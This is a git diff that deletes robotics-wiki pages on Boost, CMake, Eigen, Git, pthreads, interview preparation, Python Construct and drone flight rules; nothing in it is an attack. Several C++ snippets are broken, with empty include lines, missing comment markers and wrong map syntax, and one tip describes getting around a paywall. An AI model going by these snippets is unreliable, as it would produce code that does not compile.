reactive control schemes such as visual servoing[2]. - -## References - -D. E. Whitney, "Resolved Motion Rate Control of Manipulators and Human Prostheses," in IEEE Transactions on Man-Machine Systems, vol. 10, no. 2, pp. 47-53, June 1969, doi: 10.1109/TMMS.1969.299896. - -Haviland, Jesse & Corke, Peter. (2020). \Maximising Manipulability During Resolved-Rate Motion Control. - -Zevallos, Nicolas & Rangaprasad, Arun Srivatsan & Salman, Hadi & Li, Lu & Saxena, Saumya & Xu, Mengyun \& Qian, Jianing & Patath, Kartik & Choset, Howie. (2018). A Real-time Augmented Reality Surgical System for Overlaying Stiffness Information. 10.13140/RG.2.2.17472.64005. - -https://www.youtube.com/watch?v=rkHs7K0ad14&feature=emb_logo diff --git a/wiki/programming/__all_subsections.md b/wiki/programming/__all_subsections.md deleted file mode 100644 index fcc5426f..00000000 --- a/wiki/programming/__all_subsections.md +++ /dev/null @@ -1,543 +0,0 @@ -/wiki/programming/boost-library/ ---- -date: 2017-08-21 -title: Boost C++ Libraries ---- -[![Boost Logo](/assets/images/programming/BoostLibrary-f962f.png)](https://www.boost.org/) - -Boost is the most popular and widely used C++ library. It is available online for free. This stable C++ library contains many helpful data structures, algorithms, utilities, and more. This library influenced the design and implementation of the newest C++ library standard (C++11). - -## Advantages -Key items to look at: -- [Shared Pointers](http://www.boost.org/doc/libs/1_55_0/libs/smart_ptr/shared_ptr.htm) - - Shared pointers (boost::shared_ptr) provide a simple way to minimize memory leaks in C++ code. Replacing the old fashioned "Foo bar = new Foo" syntax with a boost::shared_ptr no longer requires you to delete the allocated memory, and the shared_ptr overhead is extremely small. An example usage is shown in the shared_ptr link above. -- [Mutex](http://www.boost.org/doc/libs/1_55_0/doc/html/thread/synchronization.html) - - Boost offers a variety of Mutex data structures that are safe, effective, and easy to use. There are several types, which serve different purposes. Read up on boost mutex if you plan on using threads and are at all worried about thread safety. -- [Thread](http://www.boost.org/doc/libs/1_55_0/doc/html/thread.html) - - Boost has an easy to use thread library (compared to standard pthread). This library allows for all of the standard threading functionality that pthread allows, but in an easier to use interface, along with some added functionality. - - -/wiki/programming/boost-maps-vectors/ ---- -date: 2017-08-21 -title: Iterations in maps and vectors using boost libraries ---- -Using Boost libraries for maps and vectors in C++ for ROS. - -Maps are hash tables used to store data along with ids. For example if you are working on multiple robots and implement a navigation algorithm in which the controls of robot motion are dependent on robot pose. So one can create a map which maps robot ids to robot pose. This is how you do it: - -``std::map Poses`` - -Now suppose you receive the pose of each of the robot, along with their ids from sensor data processing function or (an Apriltags function). Instead of iterating through the map using a for loop or stl iterators once, you can simply use boost library for `std::map`. Below is an example implementation. - -``` -#include -#include -#include - -BOOST_FOREACH(const int i, robot_ids | boost::adaptors::map_values) -{ -first check if the robot id is valid -if( Poses.find(i)!=Poses.end()) -{ -update poses -Poses(i)= pose_received_from_function; -} -} -``` -[Here is the link](http://cplusplus.bordoon.com/boost_foreach_techniques.html) to tutorial on how to use maps and boost libraries. Boost libraries are recommended for those who would use maps. - - -/wiki/programming/cmake/ ---- -date: 2017-08-21 -title: CMake and Other Build Systems ---- -Programs written in compiled languages like C/C++ must be compiled before being run, a process which converts the high-level code written by the programmer into binary files that can be executed on a particular architecture. A build system is a framework that automates the process of compiling files in a project with a specified compiler, and also links predefined libraries of code that are referenced in the project files. By using a build system, a developer can reduce the process of compiling a project to a single line in a terminal, avoiding the redundant steps of managing each file independently. - -Popular build tools include Autotools, Make, Maven, Gradle, and Ninja. Each of these frameworks contains a set of protocols for managing project compilation, and the developer can specify the exact requirements, targets, and dependencies for their project. The Make build system refers to these specifications as a Makefile, although other build systems use other terms. - -Writing a Makefile can be a complicated task, especially for larger projects. CMake is a tool that simplifies the generation of Makefiles for Make, Android Studio, Ninja, and others. CMake is open-source, and is available for Windows, Mac, and Linux. When a project that uses CMake is built, CMake will first generate a Makefile, and then that file will be used to instruct the build system in executing the project compilation. - -When using CMake, it is common and accepted practice to organize a project folder according to a specific folder structure, as seen in the image below. - -![CMake File Structure](/assets/images/programming/cmake_file_structure.png) - -- **bin:** contains the executable files which can be run on the computer. -- **build:** contains the makefiles which are required to build the project. -- **CMakeLists.txt:** the script that CMake uses to generate the makefiles. Also references additional CMakeLists files in **src** to generate additional makefiles for subsections of the project. -- **data:** contains any data required by the project. -- **include:** stores a header file for each of the project files in **src**. -- **lib:** contains the static libraries which are linked to the appropriate executable files. -- **LICENSE:** a text or binary file that verifies the project's authenticity. -- **README.md:** the text file that describes the project and any additional information needed to run or build it. -- **src:** contains the project files that need to be compiled into executables and also the project files that act as libraries. -- **tools:** contains any scripts that need to be executed only once during the project life cycle. This may involve scripts to download and/or process data. - -One of the features that CMake provides is that a project can have multiple CMakeLists.txt files. Each of these is a script for defining the rules to compile one or more files in the project. When the project is built, each of these scripts can be invoked from the outermost CMakeLists.txt file. A project can have multiple layers of Cmake scripts in this manner. This hierarchy of scripts allows a developer to easily manage large projects that depend on external libraries and packages. It is considered good practice to keep individual scripts short, and use this hierarchical structure to organize different modules of the project. - -The nature of CMake scripts makes it simple to incorporate external libraries into a project. If the external library has a CMakeLists.txt file of its own, this file can be referenced in the outermost CMake script of the project. This will also compile any changes made to the source files of the external package without having to build that package separately. We can include the headers from the external library the same way we include our custom header files. - - -The outer CMakeLists file configures the project at a high level, including the version of CMake being used, the name of the project, and any global properties that are used to organize the build output. This file will also contain a list of all subdirectories that contain inner CMake scripts. The bulk of the work is done by these inner files, which specify which target source files will be converted into executables and which will be used as libraries, and link target files with the appropriate libraries. - -When it is time to initialize the build process, the outer level CMakeLists.txt is generally invoked from inside the build directory by using ‘cmake ..’. Next, the command ‘make’ should be sent in order to actually build the project. - -Some of the most common and useful functions employed in CMake scripts are as follows: - -Within the inner CMake scripts, the path to the outer level CMake script can be referenced using -``` -${CMAKE_SOURCE_DIR} -``` - -The inner level scripts can be added to the top-level script by using the command -``` -add_subdirectory(path_to_script) -``` - -The directory containing the project header files can be specified by using -``` -include_directories(directory1, directory2, ...., directoryN) -``` - -The program files to be used as libraries can be specified using -``` -add_library(library_name STATIC - path_to_file1 - path_to_file2 - .... - path_to_fileN) -``` - -The program files to be converted into executables can be specified using -``` -add_executable(exec_name path_to_src_file) -``` - -Libraries can be linked to executables by using -``` -target_link_libraries(exec_name PUBLIC library_name) -``` - -It is recommended to develop a familiarity with and understanding of the various functions provided by CMake, rather than merely copying code snippets found online. For a full description of the components of a CMakeLists.txt file, reference [this tutorial](https://cmake.org/cmake/help/latest/guide/tutorial/index.html) by the official CMake website. - -CMake also provides a GUI that can be used to assemble scripts without writing them by hand. This GUI provides interfaces to designate modules as executables and libraries, and to link libraries to relevant files. The project can then be built from within the GUI, bypassing the need to interact with the terminal. This GUI option is popular for developers who work on Windows, where the command prompt is used less frequently. - -# Recommended Reading -- Offical CMake tutorial: https://cmake.org/cmake/help/latest/guide/tutorial/index.html -- John Lamp's tutorials: https://www.johnlamp.net/cmake-tutorial.html -- A more basic but hand-on tutorial: http://mirkokiefer.com/blog/2013/03/cmake-by-example/ -- Derek Molloy's BeagleBone tutorial: http://derekmolloy.ie/hello-world-introductions-to-cmake/ - - -/wiki/programming/eigen-library/ ---- -date: 2017-08-21 -title: How to use Eigen Geometry library for c++ ---- - -The Eigen Geometry library is a C++ libary useful for robotics. It is capable of the following operations: -1. Declare Vectors, matrices, quaternions. -- Perform operations like dot product, cross product, vector/matrix addition ,subtraction, multiplication. -- Convert from one form to another. For instance one can convert quaternion to affine pose matrix and vice versa. -- Use AngleAxis function to create rotation matrix in a single line. - -## Example Implementation -To use the library, the following includes are recommended: -``` -#include -#include -#include -#include -``` -For instance, a rotation matrix homogeneous transform of PI/2 about z-axis can be written -as: - -``Eigen::Affine3d T_rt(Eigen::AngleAxisd(M_PI/2.0, Eigen::Vector3d::UnitZ()));`` - -Additionally, you can: -1. Extract rotation matrix from Affine matrix using `Eigen::Affine3d Mat.rotation( )` -- Extract translation vector from Affine Matrix using `Eigen::Affine3d Mat.translation( )` -- Find inverse and transpose of a matrix using `Mat.inverse( ) and Mat.transpose( )` - -The applications are the following -1. Convert Pose to Quaternions and vice versa -2. Find the relative pose transformations by just using simple 3D homogeneous transformation `Eigen::Affine3d T` is a 4*4 homogeneous transform: -![Homogeneous Equation Example](/assets/images/programming/EigenLibrary-35715.png) -3. Now all the transformations (rotation or translation) can be represented in homogeneous form as simple 4*4 matrix multiplications. -4. Suppose you have a pose transform T of robot in the world and you want to find robot’s X-direction relative to the world. You can do this by using -`Eigen::Vector3d x_bearing= T.rotation * Eigen::Vector3d::UnitX();` - -## References -This is an important library in c++ which gives capabilities equal to Python for vectors and matrices. More helpful functions and examples can be found at the following links -- Eigen Documentation: http://eigen.tuxfamily.org/dox/ -- Eigen Quaternion Documentation: https://eigen.tuxfamily.org/dox/classEigen_1_1Quaternion.html -- Eigen Transforms Documentation: https://eigen.tuxfamily.org/dox/classEigen_1_1Transform.html - - -/wiki/programming/git/ ---- -date: 2017-08-21 -title: Git ---- -Git is a distributed revision control and source code management system with an emphasis on speed. Every Git working directory is a full-fledged repository with complete history and full version tracking capabilities, and is not dependent on network access or a central server. Git is free software distributed under the terms of the GNU GPLv2. - -Git is primarily a command-line tool but there are a few really good desktop applications that make it easier to work with (at the cost of hiding the advanced features). Working with a GUI can be hugely beneficial to mitigate the steep learning curve, but the recommended way to use git is using the command-line interface or CLI. - -## Free Repository Providers -- ### [GitHub](https://www.github.com/) - A well-supported and popular version control provider. Their desktop application [GitHub Desktop](https://desktop.github.com/) is high-quality, feature-rich GUI for Windows and Mac. GitHub offers unlimited public and private repositories and ability to create an 'organization' for free to host team projects, with limited monthly credits for automated builds. GitHub excels at providing a great experience around git and source code management, with good options for builds and deployment integrations. - - [GitHub Education Pack](https://education.github.com/pack) provides access to a bundle of popular development tools and services which GitHub and its partners are providing for free (or for a discounted price) to students. -- ### [GitLab](https://gitlab.com/explore) - The other big player in the version control space and the first choice for Enterprise git deployments. Offers free unlimited public and private repositories with unlimited collaborators. Offers some nifty features that GitHub doesn't offer in their free tier such as protected branches, pages and wikis. Offers a self-hosting option if you want to run your own git server. Their platform is geared towards serving a complete and comprehensive DevOps workflow that is not just restricted to source code management. - -- ### [BitBucket](https://bitbucket.org/) - Another popular service, unlimited private repositories for up to 5 collaborators. - - [Getting Started Guide](https://confluence.atlassian.com/display/BITBUCKET/Bitbucket+101) - -## Popular GUI Clients -- [GitHub Desktop](https://desktop.github.com/) - High-quality, well-supported GUI for Windows & Mac. -- [SourceTree](https://www.sourcetreeapp.com/) - A feature-rich GUI for Windows & Mac. -- [GitKraken](https://www.gitkraken.com/) - A powerful git client for Linux, Windows & Mac. -- [GitExtensions](https://gitextensions.github.io/) - Also supports Linux, Windows & Mac. - -## Learning Resources - -### Basics -- [GitHub Learning Lab](https://lab.github.com/) offers some excellent courses on mastering the basics of git on their platform. Their [Introduction to GitHub](https://lab.github.com/githubtraining/introduction-to-github) course is great place to get started. -- [GitHub's Getting Started Guide](https://help.github.com/) - Walks you through creating a repository on GitHub and basics of git. - -- [Learn Git Branching](https://learngitbranching.js.org/): - A browser-based game designed to introduce you to some of the more advanced concepts. - -- [Git Immersion](http://gitimmersion.com/): -A hands-on tutorial that sets you up with a toy project and holds your hand through project development. Contains many useful aliases and shortcuts for faster workflow. - -- [Atlassian Git Tutorials](https://www.atlassian.com/git/tutorials): -One of the best reading resources around git and version control. Contains a very good set of tutorials but more importantly has a comprehensive set of articles around the important topics in git and even the history of version control systems. Focuses on providing a detailed explanation of how git works rather than simply listing the commands. - -### Intermediate - -- [Managing Merge Conflicts](https://lab.github.com/githubtraining/managing-merge-conflicts) -- [Reviewing Pull Requests](https://lab.github.com/githubtraining/reviewing-pull-requests) -- [GitHub Actions Basics](https://lab.github.com/githubtraining/github-actions:-hello-world) -- [Cherry Picking Commits](https://www.atlassian.com/git/tutorials/cherry-pick) -- [Rebasing Branches](https://docs.github.com/en/get-started/using-git/about-git-rebase) -- [Git Blame](https://www.atlassian.com/git/tutorials/inspecting-a-repository/git-blame) - -### Advanced -- [Git Reflog](https://www.atlassian.com/git/tutorials/rewriting-history/git-reflog) -- [Git Submodules](https://git-scm.com/book/en/v2/Git-Tools-Submodules) -- [Hooks, Enforcing Commit-Message Formats & ACLs](https://git-scm.com/book/en/v2/Customizing-Git-An-Example-Git-Enforced-Policy) -- [A Beginner's Guide to Git Bisect](https://www.metaltoad.com/blog/beginners-guide-git-bisect-process-elimination) -- [Continuous Integration Using GitHub Actions](https://lab.github.com/githubtraining/github-actions:-continuous-integration) - -## References & Help -- [Atlassian Git Cheat Sheet](https://www.atlassian.com/git/tutorials/atlassian-git-cheatsheet): A handy set of commands to have around your desk for those quick command look ups. -- [How to Undo Almost Anything with Git](https://github.blog/2015-06-08-how-to-undo-almost-anything-with-git/): A blog post from GitHub that lists some scary scenarios in git and how to undo almost anything. -- [Dangit, Git!?](https://dangitgit.com/): Quick references for getting out of bad situations in git. Very powerful set of fixes, but doesn't provide a good explanation of what happened / how the fix works - read before you blindly follow the instructions. -- [Official Git Documentation](http://git-scm.com/documentation) -Extremely thorough documentation of git. It can be quite dense if you're new to git, but this the most authoritative and updated documentation for git CLI usage. Best used to look up command-line usage, parameters and their rationale. -- Man pages: The git command line interface ships with a very good set of man pages accessible by running `man git` on the terminal and is available wherever git is installed. If you're not familiar with man pages, you can read about it [here](https://itsfoss.com/linux-man-page-guide/). - - -/wiki/programming/multithreaded-programming/ ---- -date: 2017-08-21 -title: Multithreaded Programming as an Alternative to ROS ---- -As a software framework for robotics, ROS is an an obvious choice. Having said that, sometimes ROS can be an overkill or can cause trouble due to the amount of abstraction it has. The option of using ROS should be carefully evaluated, especially when you have all your processing on one single embedded system/processor/computer and not distributed across multiple systems. For such a system, a logical alternative is implementing a C/C++ program from scratch and using libraries like pthreads, boost, or others for parallel/pseudo-parallel execution and other functionalities. - -C/C++ on \*nix systems has POSIX threads or pthreads as they are popularly known. Pthreads are very powerful and allow interfaces to make any execution multithreaded (of course, the number of threads will be limited by the embedded system being used). Pthreads allow you to call a function/method asynchronously and then execute on its own dedicated thread. Moreover, you can also use them to parallelize your execution. - -Here's an example of pthreads from Wikipedia: -``` -[[code format="de1"]] -#include -#include -#include -#include - -#define NUM_THREADS 5 - -void *perform_work(void *argument) -{ -int passed_in_value; - -passed_in_value = *((int *) argument); -printf("Hello World! It's me, thread with argument %d!\n", passed_in_value); - -/* optionally: insert more useful stuff here */ - -return NULL; -} - -int main(void) -{ -pthread_t threads[NUM_THREADS]; -int thread_args[NUM_THREADS]; -int result_code, index; - -create all threads one by one -for (index = 0; index < NUM_THREADS; ++index) { -thread_args[index] = index; -printf("In main: creating thread %d\n", index); -result_code = pthread_create(&threads[index], NULL, perform_work, (void *) &thread_args[index]); -assert(0 == result_code); -} - -wait for each thread to complete -for (index = 0; index < NUM_THREADS; ++index) { -// block until thread 'index' completes -result_code = pthread_join(threads[index], NULL); -printf("In main: thread %d has completed\n", index); -assert(0 == result_code); -} - -printf("In main: All threads completed successfully\n"); -exit(EXIT_SUCCESS); -} -``` - - - -## Example case -In this example case, we would read, process, and store IMU values at a constant rate. - -Say your system interfaces to an IMU which gives values at 200 Hz. One of the threads can read these values and process and store it in some shared memory along with timestamps of your values. More specifically, you call a function which has a while loop that looks for data on serial interface and then operates on that data (say integrate to get YPR from gyro values) and then store these YPR values in a buffer. Your main thread can use these YPR values whenever required by reading from this buffer. - -If ROS is used you will have a separate node that interfaces to the IMU and then publishes the value as a tf/pose at a configurable rate. However, you will in most cases have to translate the message into a form that your other nodes can use. Moreover, you will have the additional queue and callback overhead of ROS which will be practically out of your control. - - -## Further Reading -1. Pthreads tutorial: https://computing.llnl.gov/tutorials/pthreads/ - - This is an exhaustive tutorial describing pthreads and all the functionalities to provides. -2. Pthreads tutorial for multithreading in C++ and Linux: http://www.tutorialspoint.com/cplusplus/cpp_multithreading.htm - - This is a more application-oriented tutorial with examples. - - -/wiki/programming/programming-interviews/ ---- -date: 2022-1-26 -title: Programming Interviews -published: true ---- - -This article is meant for people looking for software positions in the robotics industry. It introduces the data structure, algorithms, and other related topics you need to know in order to prepare for your technical interview. It also provides a detailed instruction on how to crack your coding sessions. - -## Google tips - -This is a list of Google's tips to use when preparing for a job interview for a coding position. - -### Algorithm Complexity -- Please review complex algorithms, including "Big O" notation. - -### Sorting -- Know how to sort. Don't do bubble-sort. -- You should know the details of at least one n*log(n) sorting algorithm, preferably two (say, quicksort and merge sort). Merge sort can be highly useful in situations where quicksort is impractical, so take a look at it. - -### Hash Tables -- Be prepared to explain how they work, and be able to implement one using only arrays in your favorite language, in about the space of one interview. - -### Trees and Graphs -- Study up on trees: tree construction, traversal, and manipulation algorithms. You should be familiar with binary trees, n-ary trees, and trie-trees at the very least. You should be familiar with at least one flavor of balanced binary tree, whether it's a red/black tree, a splay tree or an AVL tree, and you should know how it's implemented. -- More generally, there are three basic ways to represent a graph in memory (objects and pointers, matrix, and adjacency list), and you should familiarize yourself with each representation and its pros and cons. -- Tree traversal algorithms: BFS and DFS, and know the difference between inorder, postorder and preorder traversal (for trees). You should know their computational complexity, their tradeoffs, and how to implement them in real code. -- If you get a chance, study up on fancier algorithms, such as Dijkstra and A* (for graphs). - -### Other data structures: -- You should study up on as many other data structures and algorithms as possible. You should especially know about the most famous classes of NP-complete problems, such as traveling salesman and the knapsack problem, and be able to recognize them when an interviewer asks you them in disguise. - -### Operating Systems, Systems Programming and Concurrency: -- Know about processes, threads, and concurrency issues. Know about locks, mutexes, semaphores, and monitors (and how they work). Know about deadlock and livelock and how to avoid them. -- Know what resources a processes needs, a thread needs, how context switching works, and how it's initiated by the operating system and underlying hardware. -- Know a little about scheduling. The world is rapidly moving towards multi-core, so know the fundamentals of "modern" concurrency constructs. - -### Coding -- You should know at least one programming language really well, preferably C/C++, Java, Python, Go, or Javascript. (Or C# since it's similar to Java.) -- You will be expected to write code in your interviews and you will be expected to know a fair amount of detail about your favorite programming language. - -### Recursion and Induction -- You should be able to solve a problem recursively, and know how to use and repurpose common recursive algorithms to solve new problems. -- Conversely, you should be able to take a given algorithm and prove inductively that it will do what you claim it will do. - -### Data Structure Analysis and Discrete Math -- Some interviewers ask basic discrete math questions. This is more prevalent at Google than at other companies because we are surrounded by counting problems, probability problems, and other Discrete Math 101 situations. -- Spend some time before the interview on the essentials of combinatorics and probability. - You should be familiar with n-choose-k problems and their ilk – the more the better. - -### System Design -- You should be able to take a big problem, decompose it into its basic subproblems, and talk about the pros and cons of different approaches to solving those subproblems as they relate to the original goal. - -### Recommended Reading -- Google solves a lot of big problems; here are some explanations of how they solved a few to get your wheels turning. - - Online Resources: - - [Research at Google: Distributed Systems and Parallel Computing](http://research.google.com/pubs/DistributedSystemsandParallelComputing.html) - - [Google File System](http://research.google.com/archive/gfs.html) - - [Google Bigtable](http://research.google.com/archive/bigtable.html) - - [Google MapReduce](http://research.google.com/archive/mapreduce.html) -- Algorithm Recommended Resources: - - Online Resources: - - [Topcoder - Data Science Tutorials](http://www.topcoder.com/tc?module=Static&d1=tutorials&d2=alg_index) - - [The Stony Brook Algorithm Repository](http://www.cs.sunysb.edu/~algorith/) - - Book Recommendations: - - [Review of Basic Algorithms: Introduction to the Design and Analysis of Algorithms by Anany Levitin](https://www.google.com/webhp?hl=en&changed_loc=0#q=review+of+basic+algorithms+introduction+to+the+design+and+analysis+of+algorithms&hl=en&tbm=shop) - - [Algorithms by S. Dasgupta, C.H. Papadimitriou, and U.V. Vazirani](http://www.cs.berkeley.edu/~vazirani/algorithms.html) - - [Algorithms For Interviews by Adnan Aziz and Amit Prakash,](http://www.algorithmsforinterviews.com/) - - [Algorithms Course Materials by Jeff Erickson](http://www.cs.uiuc.edu/~jeffe/teaching/algorithms) - - [Introduction to Algorithms by Thomas H. Cormen, Charles E. Leiserson, Ronald L. Rivest and Clifford Stein](http://mitpress.mit.edu/catalog/item/default.asp?ttype=2&tid=11866) -- Coding Book Recommendation: - - [Programming Interviews Exposed; Secrets to landing your next job by John Monagan and Noah Suojanen](https://www.google.com/shopping/product/10904392385806396516?q=types+of+coding+questions+google+asks+programming+interviews+exposed&hl=en&biw=1745&bih=1005&site=webhp&sqi=2&pjf=1&bav=on.2,or.r_cp.&tch=1&ech=1&psi=539KVdiqEIvJsAWTkoBA.1430945767303.7&prds=paur:ClkAsKraXwLuomUnytrmklo3nqBglR3OsF49REA5hOKVeConNTghOhPlBuN07lUczldHXy82BXrpry53lNVyyMXa_ratGQnPKZRz5wGMWqi0YaxcUFWEj1j4WRIZAFPVH70DMoZJ2iytH9uRyKAQX_9d9ry0zw&ei=TYBKVcaOD8WzoQTbwIGQCQ&ved=0CF0QpiswAQ) - - -## Leetcode Tips - -Leetcode must be a familiar platform to you if you are trying to find any software roles. However, there are just too many Leetcode questions and say, given only a month before your first interview, it is difficult to know where to start, even though you might get yourself conceptually familiar with all of the topics above. Therefore, in limtied time, the key to coding practice is **inductive learning**. Rather than spending a lot of time from the first question to question 200, you should do Leetcode questions topic by topic. The steps can be as follows: -- If you do not have a Leetcode premium subscription, find a reference which maintains a full list of categorized Leetcode questions. A good reference can be found [here](https://github.com/wisdompeak/LeetCode). Otherwise, with the premium subscription, you can sort the questions of interest by using the "tag" feature. -- Choose a language: if you are mainly looking for roles in machine learning, or deep learning, stick with Python. Otherwise, for software positions in the robotics industry, C++ will be more popular. -- List out topics you want to practice with priority assigned. For software positions in the robotics industry, the most important data stucture would be Graph, Hash Map, Stack, Queue, and Tree, and the most important algorithm you should have a grip of is DFS, BFS, Topological Sort, and some classic Dynamic Programming approaches (listed below). You should be familiar with the runtime complexity of BFS/DFS implemented in either iteration or recursion, as well as the pros and cons of implementation of recursion or iteration. Plus, the idea of DFS is not only applied to graphs, but problems that involve strings are also solved by DFS (e.g. [Permutation](https://leetcode.com/problems/permutations/) and [Combination](https://leetcode.com/problems/combinations/)). -- Dynamic Programming (DP) is not very popular when compared to the other algorithms in technical interviews for robotics software engineers. Questions asked during interview when DP is the optimal solution are usually tailored for DP. For example, [Jump Game](https://leetcode.com/problems/jump-game/) (and its other variants too, e.g. [Jump Game II](https://leetcode.com/problems/jump-game-ii/)) and [Climbing Stairs](https://leetcode.com/problems/climbing-stairs/) are some classic (as well as popular) problems using 1-dimensional DP. [Unique Paths](https://leetcode.com/problems/unique-paths/) and [Dungeon Game](https://leetcode.com/problems/dungeon-game/solution/) are some classic problems using 2-dimensional DP that are encountered very frequently during interviews. -- For each topic in the list: sort the questios by the tag first, then sort by its frequency. Complete top 10~50 frequent questions and move on to the next topic in your list. (Note: premium subscription is required to see a question's frequency, but you can easily "bypass" this by asking for a screenshot from any of your friends who has premium subscription) -- Create an excel sheet that records every question that you have completed, along with its related topic, runtime & space complexity, and, if possible, its difference compared to its other variants (e.g. Jump Game I to VII, Combination Sum I to IV). This is the cheat sheet you will cram for on the night before the interview. -- Do mock interviews with peers. This will be very helpful if you are the type of person whose mindset will be influenced by the stress, or tension during an interview. Also mock interviews will improve your communication abilities during coding, because an interviewer usually expects you to explain your approach while you are writing up your solution. - - -## Additional resources - -* Daily plan for programming interview practice: https://github.com/jwasham/coding-interview-university#the-daily-plan - - -/wiki/programming/python-construct/ ---- -date: 2017-08-21 -title: Python Construct Library ---- - -Sending data over serial communication channels in robotic systems that need real time updates between multiple agents calls for ensuring reliability and integrity. Construct is a Python library that comes to the rescue for building and parsing binary data efficiently without the need for writing unnecessary imperative code to build message packets. - -The Python Construct is a powerful declarative parser (and builder) for binary data. It declaratively defines a data structure that describes the data. It can be used to parse data into python data structures or to convert these data structures into binary data to be sent over the channel. It is extremely easy to use after you install all the required dependencies into your machine. - -## Features -Some key features of Construct are: -- Bit and byte granularity -- Easy to extend subclass system -- Fields: raw bytes or numerical types -- Structs and Sequences: combine simpler constructs into more complex ones -- Adapters: change how data is represented -- Arrays/Ranges: duplicate constructs -- Meta-constructs: use the context (history) to compute the size of data -- If/Switch: branch the computational path based on the context -- On-demand (lazy) parsing: read only what you require -- Pointers: jump from here to there in the data stream - -You might not need to use all of the above features if the data you need to send and receive is a simple list of say, waypoints or agent IDs. But it is worth exploring the possible extent of complexity of data that this library can handle. The library provides both simple, atomic constructs (UBINT8, UBNIT16, etc), as well as composite ones which allow you form hierarchical structures of increasing complexity. - -## Example Usage -This tool could especially come in handy if your data has many different kinds of fields. As an example, consider a message that contains the agent ID, message type (defined by a word, such as ‘Request’ or ‘Action’), flags and finally the data field that contains a list of integers. Building and parsing such a message would require many lines of code which can be avoided by simply using Construct and defining these fields in a custom format. An example message format is given below. - -### Example format -``` -message_crc = Struct('message_crc', UBInt64('crc')) - -message_format = Struct('message_format', - ULInt16('vcl_id'), - Enum(Byte('message_type'), - HELLO = 0x40, - INTRO = 0x3f, - UPDATE = 0x30, - GOODBYE = 0x20, - PARKED = 0x31, - - _default_ = Pass - ), - Byte('datalen'), - Array(lambda ctx: ctx['datalen'], Byte('data')), - Embed(message_crc) -) - - -if __name__ == "__main__": - raw = message_format.build(Container( - vcl_id=0x1, - message_type='HELLO', - datalen=4, - data=[0x1, 0xff, 0xff, 0xdd], - crc=0x12345678)) - - print raw - mymsg=raw.encode('hex') - print mymsg - x=message_format.parse(raw) - print x -``` - -The CRC (Cyclic Redundancy Check) used in this snippet is an error-detecting code commonly used in digital networks to detect accidental changes to raw data. Blocks of data get a short check value attached usually at the end, based on the remainder of a polynomial division of their contents. On retrieval, the calculation is repeated and, in the event the check values do not match, exceptions can be handles in your code to take corrective action. This is a very efficient means to check validity of data received, which can be crucial to avoid errors in operation of real time systems. - -There are a number of possible methods to check data integrity. CRC checks like CRC11, CRC12, CRC32, etc are commonly used error checking codes that can be used. If you face an issue with using CRC of varying lengths with your data, try using cryptographic hash functions like MD5, which might solve the problem. Further reading can be found [here on StackOverflow.](http://stackoverflow.com/questions/16122067/md5-vs-crc32-which-ones-better-for-common-use) - -The snippets (python) below serve as examples of how to build and recover messages using Construct: -``` -def build_msg(vcl_id, message_type): - - data = [0x1,0xff,0xff,0xdd] - - datalen = len(data) - - raw = message_format.build(Container( - vcl_id = vcl_id, - message_type = message_type, - datalen = datalen, - data = data, - crc = 0)) - - msg_without_crc = raw[:-8] - msg_crc = message_crc.build(Container( - crc = int(''.join([i for i in hashlib.md5(msg_without_crc).hexdigest() if i.isdigit()])[0:10]))) - - msg = msg_without_crc + msg_crc - - pw = ProtocolWrapper( - header = PROTOCOL_HEADER, - footer = PROTOCOL_FOOTER, - dle = PROTOCOL_DLE) - return pw.wrap(msg) -``` -``` -def recover_msg(msg): - pw = ProtocolWrapper( - header = PROTOCOL_HEADER, - footer = PROTOCOL_FOOTER, - dle = PROTOCOL_DLE) - - status = map(pw.input, msg) - rec_crc = 0 - calc_crc = 1 - - if status[-1] == ProtocolStatus.MSG_OK: - rec_msg = pw.last_message - rec_crc = message_crc.parse(rec_msg[-8:]).crc - calc_crc = int(''.join([i for i in hashlib.md5(rec_msg[:-8]).hexdigest() if i.isdigit()])[0:10]) - - if rec_crc != calc_crc: - print 'Error: CRC mismatch' - return None - else: - return rec_msg -``` - -The following are a guidelines to use Python Construct: -1. Download the suitable version of Construct [here.](https://pypi.python.org/pypi/construct) -2. Copy over this folder to the appropriate code directory. If using ROS, it should be inside your ROS package) -3. You need two additional files `myformat.py` and `protocolwrapper.py` to get started. These can be found [here.](http://eli.thegreenplace.net/2009/08/20/frames-and-protocols-for-the-serial-port-in-python) This is a great resource for example code and supporting protocol wrappers to be used for serial communication (in Python) - -## Resources -- Construct’s homepage is http://construct.readthedocs.org/ where you can find all kinds of docs and resources. -- The library itself is developed on https://github.com/construct/construct. -- For discussion and queries, here is a link to the [Google group](https://groups.google.com/forum/#!forum/construct3). -- Construct should run on any Python 2.5-3.3 implementation. Its only requirement is [six](http://pypi.python.org/pypi/six), which is used to overcome the differences between Python 2 and 3. - diff --git a/wiki/project-management/__all_subsections.md b/wiki/project-management/__all_subsections.md deleted file mode 100644 index 820e100c..00000000 --- a/wiki/project-management/__all_subsections.md +++ /dev/null @@ -1,614 +0,0 @@ -/wiki/project-management/drone-flight-permissions/ ---- -date: 2020-04-10 -title: Drone Flight Permissions -published: true ---- - -This article discusses the laws and regulations of flying small drones for the MRSD project. It details the process to fully certify your drone and obtaining flight permissions from the Federal Aviation Administration (FAA) and Carnegie Mellon University (CMU). Furthermore, the article disucsses the rules for two registration categories. For most projects, students should consider the Recreational Fliers ruleset that does not require pilot licensure. Projects that need special flight permissions, or are pursuing further funding, should consider the Part 107 ruleset. - - -## Background - -The FAA regulates the operation of all drones due to the recent surge in Unmanned Aircraft Systems (UAS). Due to the rapidly evolving environment around drone use, this entry is only guaranteed to be accurate as of April 6, 2020. Any reader passed this date should use this entry only as a guide and reference before confirming current regulations. CMU maintains a drone information page which should be referenced for a summary of up-to-date information: [https://www.cmu.edu/ogc/Guidance/drones](https://www.cmu.edu/ogc/Guidance/drones). - -There are two major categories under which students should consider when flying during the MRSD project. The first is flying under the FAA's Small UAS Rule (Part 107). This flight category allows the most freedom in flying, but also requires more thorough registration and licensing. The second is flying as a Recreational Fliers or as part of a Modeler Community-Based Organization. This categorization offers few flight permissions but is easily obtainable and suitable for many MRSD applications. A summary from the FAA rules applicable to education users can be found here: [https://www.faa.gov/uas/educational_users](https://www.faa.gov/uas/educational_users) - -### Fly as a Recreational Fliers or as part of a Modeler Community-Based Organization - -Flying as a recreation flier is the rule set that most MRSD students should consider for the project. Under this ruleset, students can fly drones under the guidance of Carnegie Mellon University without obtaining any sort of pilot’s license. The key caveat is students can only fly under this categorization if they “fly only for recreational purposes.” The MRSD project can satisfy this requirement because it is not directly related to a professor’s sponsored research, and all funding relating to the project is not for financial gain. As such, the project can largely be described as recreational. Students looking to commercialize their MRSD project, or wanting to otherwise fly outside 